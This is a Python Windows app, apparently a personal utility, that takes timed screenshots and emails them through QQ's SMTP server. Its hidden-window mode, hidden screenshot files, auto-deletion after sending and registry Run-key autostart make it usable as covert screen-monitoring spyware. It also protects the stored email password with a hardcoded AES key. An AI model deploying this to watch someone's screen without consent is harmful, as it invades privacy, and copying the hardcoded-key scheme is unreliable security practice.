# coding=utf-8 
'''
 @Author  : TesterRoad
 @Time    : 2023/7/9 15:43
 @Desc    : 用python實現(xiàn)PC屏幕截圖自動發(fā)送郵箱
 @Software: PyCharm
'''
import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
 
import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import glob
 
KEY = b'MySuperSecretKey'
 
 
def encrypt_data(data):
    cipher = AES.new(KEY, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
    iv = base64.b64encode(cipher.iv).decode('utf-8')
    ct = base64.b64encode(ct_bytes).decode('utf-8')
    return iv + ct
 
 
def decrypt_data(data):
    try:
        iv = base64.b64decode(data[:24])
        ct = base64.b64decode(data[24:])
        cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)
        pt = unpad(cipher.decrypt(ct), AES.block_size)
        return pt.decode('utf-8')
    except:
        return "Decryption Error!"
 
 
class ScreenshotApp:
    def __init__(self):
        self.root = tk.Tk()
        self.root.title("Screen")
 
        self.config = configparser.ConfigParser()
        self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")
 
        if not os.path.exists(self.config_file):
            self.create_default_config()
 
        self.config.read(self.config_file)  # 讀取配置文件
 
        self.sender_email_label = ttk.Label(self.root, text="發(fā)件郵箱:")
        self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)
        self.sender_email_entry = ttk.Entry(self.root)
        self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)
 
        self.sender_password_label = ttk.Label(self.root, text="發(fā)件郵箱密碼:")
        self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)
        self.sender_password_entry = ttk.Entry(self.root, show="*")
        self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)
 
        self.interval_label = ttk.Label(self.root, text="截圖間隔時間:")
        self.interval_label.grid(row=2, column=0, padx=5, pady=5)
        self.interval_entry = ttk.Entry(self.root)
        self.interval_entry.grid(row=2, column=1, padx=5, pady=5)
 
        self.count_label = ttk.Label(self.root, text="發(fā)送截圖數(shù)量:")
        self.count_label.grid(row=3, column=0, padx=5, pady=5)
        self.count_entry = ttk.Entry(self.root)
        self.count_entry.grid(row=3, column=1, padx=5, pady=5)
 
        self.start_button = ttk.Button(self.root, text="開始截圖", command=self.start_screenshot)
        self.start_button.grid(row=4, column=0, padx=5, pady=5)
 
        self.stop_button = ttk.Button(self.root, text="停止截圖", command=self.stop_screenshot)
        self.stop_button.grid(row=4, column=1, padx=5, pady=5)
        self.stop_button.configure(state="disabled")
 
        self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)
        self.save_button.grid(row=5, column=0, padx=5, pady=5)
 
        self.autostart_var = tk.BooleanVar()
        self.autostart_checkbutton = ttk.Checkbutton(self.root, text="開機自動啟動", variable=self.autostart_var,
                                                     command=self.save_settings)
        self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)
 
        self.toggle_visibility_button = ttk.Button(self.root, text="顯示/隱藏", command=self.toggle_visibility)
        self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)
 
        # 創(chuàng)建日志記錄器
        self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")
        self.logger = logging.getLogger("ScreenshotApp")
        self.logger.setLevel(logging.INFO)
        self.logger.addHandler(logging.FileHandler(self.log_file_path))
 
        self.screenshot_running = False
        self.screenshot_thread = None
        self.stop_event = threading.Event()
 
        # 初始化輸入框的值
        self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))
        self.sender_password_entry.insert(0, self.get_decrypted_password())
        self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))
        self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))
 
        # 初始化開機自動啟動選項
        self.autostart_var.set(self.is_autostart_enabled())
 
        self.root.protocol("WM_DELETE_WINDOW", self.on_close)
 
        self.root.bind("<F12>", self.toggle_visibility)
 
        # 初始化窗口可見性
        visibility = self.config.get("Settings", "visibility", fallback="visible")
        if visibility == "hidden":
            self.root.withdraw()
 
        if self.autostart_var.get():
            self.start_screenshot()
 
        self.root.mainloop()
 
    def on_close(self):
        self.stop_screenshot()
        self.save_settings()
        self.delete_screenshots()
        self.root.quit()
 
    def create_default_config(self):
        if not os.path.exists(self.config_file):
            self.config["Settings"] = {
                "sender_email": "",
                "sender_password": "",
                "interval": "",
                "count": "",
                "autostart": "False",
                "visibility": "visible"
            }
 
        config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")
        with open(config_file_path, "w") as configfile:
            self.config.write(configfile)
 
    def start_screenshot(self):
        interval_text = self.interval_entry.get()
        count_text = self.count_entry.get()
 
        if not interval_text or not count_text:
            self.logger.error("請?zhí)峁㏒creen間隔時間和Screen次數(shù)")
            return
 
        try:
            interval = int(interval_text)
            count = int(count_text)
        except ValueError:
            self.logger.error("Screen間隔時間和Screen次數(shù)必須是有效的整數(shù)")
            return
        if not self.screenshot_running:
            sender_email = self.sender_email_entry.get()
            sender_password = self.sender_password_entry.get()
            interval = int(self.interval_entry.get())
            count = int(self.count_entry.get())
 
            receiver_email = sender_email  # 收件郵箱地址默認等于發(fā)件郵箱地址
 
            self.logger.info("開始Screen")
 
            self.start_button.configure(state="disabled")
            self.stop_button.configure(state="normal")
            self.screenshot_running = True
            self.stop_event.clear()
 
            self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(
            receiver_email, sender_email, sender_password, interval, count))
            self.screenshot_thread.start()
 
    def stop_screenshot(self):
        if self.screenshot_running:
            self.screenshot_running = False
            self.stop_event.set()
            self.screenshot_thread.join()
 
            self.logger.info("停止Screen")
            self.start_button.configure(state="normal")
            self.stop_button.configure(state="disabled")
 
    def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):
        screenshot_count = 0
        screenshots = []
 
        # 獲取用戶主目錄，并創(chuàng)建'Screenshots'文件夾
        user_dir = os.path.expanduser('~')
        screenshot_dir = os.path.join(user_dir, 'Screenshots')
        os.makedirs(screenshot_dir, exist_ok=True)
 
        # 在開始Screen前清空'Screenshots'文件夾
        self.delete_screenshots()
 
        while screenshot_count < count and not self.stop_event.is_set():
            try:
                # Screen
                screenshot = pyautogui.screenshot()
 
                # 生成文件名，格式為“Screen時間.png”
                current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
                filename = f"Screen_{current_time}.png"
 
                # 保存Screen到'Screenshots'文件夾中
                screenshot_path = os.path.join(screenshot_dir, filename)
                screenshot.save(screenshot_path)
                screenshots.append(screenshot_path)
                screenshot_count += 1
                # 設置文件為隱藏
                FILE_ATTRIBUTE_HIDDEN = 0x02
                ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)
                self.logger.info(f"Screen成功: {screenshot_path}")
 
                if screenshot_count == count:  # 達到指定Screen次數(shù)后發(fā)送Screen
                    screenshot_count = 0
                    self.send_email(receiver_email, sender_email, sender_password, screenshots)
                    self.logger.info(f"Screen發(fā)送成功，共發(fā)送了 {len(screenshots)} 張Screen")
                    self.delete_screenshots(screenshots)
                    screenshots = []  # 清空已發(fā)送的Screen列表
            except Exception as e:
                self.logger.error(f"Screen失敗: {str(e)}")
 
            time.sleep(interval)
 
    def send_email(self, receiver_email, sender_email, sender_password, filenames):
        msg = MIMEMultipart()
        msg["From"] = sender_email
        msg["To"] = receiver_email
        msg["Subject"] = "Screen"
 
        # 添加郵件正文
        msg.attach(MIMEText("請查看附件中的Screen。", "plain"))
 
        # 添加Screen作為附件
        for filename in filenames:
            with open(filename, "rb") as f:
                image = MIMEImage(f.read())
            image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))
            msg.attach(image)
 
        try:
            # 發(fā)送郵件
            with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:
                smtp.login(sender_email, sender_password)
                smtp.send_message(msg)
 
            self.logger.info(f"郵件發(fā)送成功，收件人: {receiver_email}")
 
        except Exception as e:
            self.logger.error(f"郵件發(fā)送失敗: {str(e)}")
 
    def save_settings(self):
 
        self.config.set("Settings", "sender_email", self.sender_email_entry.get())
        self.config.set("Settings", "interval", self.interval_entry.get())
        self.config.set("Settings", "count", self.count_entry.get())
        self.config.set("Settings", "autostart", str(self.autostart_var.get()))
 
        visibility = "visible" if self.root.state() == "normal" else "hidden"
        self.config.set("Settings", "visibility", visibility)
 
        if self.sender_password_entry.get() != self.get_decrypted_password():
            encrypted_password = encrypt_data(self.sender_password_entry.get())
            self.config.set("Settings", "sender_password", encrypted_password)
 
        config_file_path = os.path.abspath(self.config_file)
        with open(config_file_path, "w") as configfile:
            self.config.write(configfile)
            self.logger.handlers.clear()
            self.logger.addHandler(logging.FileHandler(self.log_file_path))
 
        self.set_autostart(self.autostart_var.get())
 
    def delete_screenshots(self, filenames=None):
        # 獲取'Screenshots'文件夾路徑
        user_dir = os.path.expanduser('~')
        screenshot_dir = os.path.join(user_dir, 'Screenshots')
 
        if filenames is None:
            filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))
 
        for filename in filenames:
            try:
                os.remove(filename)
                self.logger.info(f"刪除Screen: {filename}")
            except Exception as e:
                self.logger.error(f"刪除Screen失敗: {str(e)}")
 
    def get_decrypted_password(self):
        encrypted_password = self.config.get("Settings", "sender_password", fallback="")
        if encrypted_password:
            return decrypt_data(encrypted_password)
        else:
            return ""
 
    def toggle_visibility(self, event=None):
        if self.root.state() == "withdrawn":
            self.root.deiconify()
        else:
            self.root.withdraw()
        self.save_settings()
 
    def set_autostart(self, enabled):
        key = winreg.HKEY_CURRENT_USER
        run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
        app_name = "Screen"
        app_path = sys.executable  # 獲取當前腳本的絕對路徑
 
        try:
            with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:
                if enabled:
                    winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)
                    self.logger.info("已設置開機自動啟動")
                else:
                    winreg.DeleteValue(reg_key, app_name)
                    self.logger.info("已取消開機自動啟動")
        except FileNotFoundError as e:
            self.logger.error(f"找不到注冊表路徑: {str(e)}")
        except PermissionError as e:
            self.logger.error(f"沒有足夠的權限訪問注冊表: {str(e)}")
        except Exception as e:
            self.logger.error(f"設置開機自動啟動失敗: {str(e)}")
 
    def is_autostart_enabled(self):
        key = winreg.HKEY_CURRENT_USER
        run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
        app_name = "Screen"
        app_path = sys.executable  # 獲取當前腳本的絕對路徑
 
        try:
            with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:
                try:
                    value, value_type = winreg.QueryValueEx(reg_key, app_name)
                    return value == app_path
                except FileNotFoundError:
                    return False
        except FileNotFoundError as e:
            self.logger.error(f"找不到注冊表路徑: {str(e)}")
        except PermissionError as e:
            self.logger.error(f"沒有足夠的權限訪問注冊表: {str(e)}")
        except Exception as e:
            self.logger.error(f"讀取開機自動啟動設置失敗: {str(e)}")
 
        return False
 
 
if __name__ == "__main__":
    app = ScreenshotApp()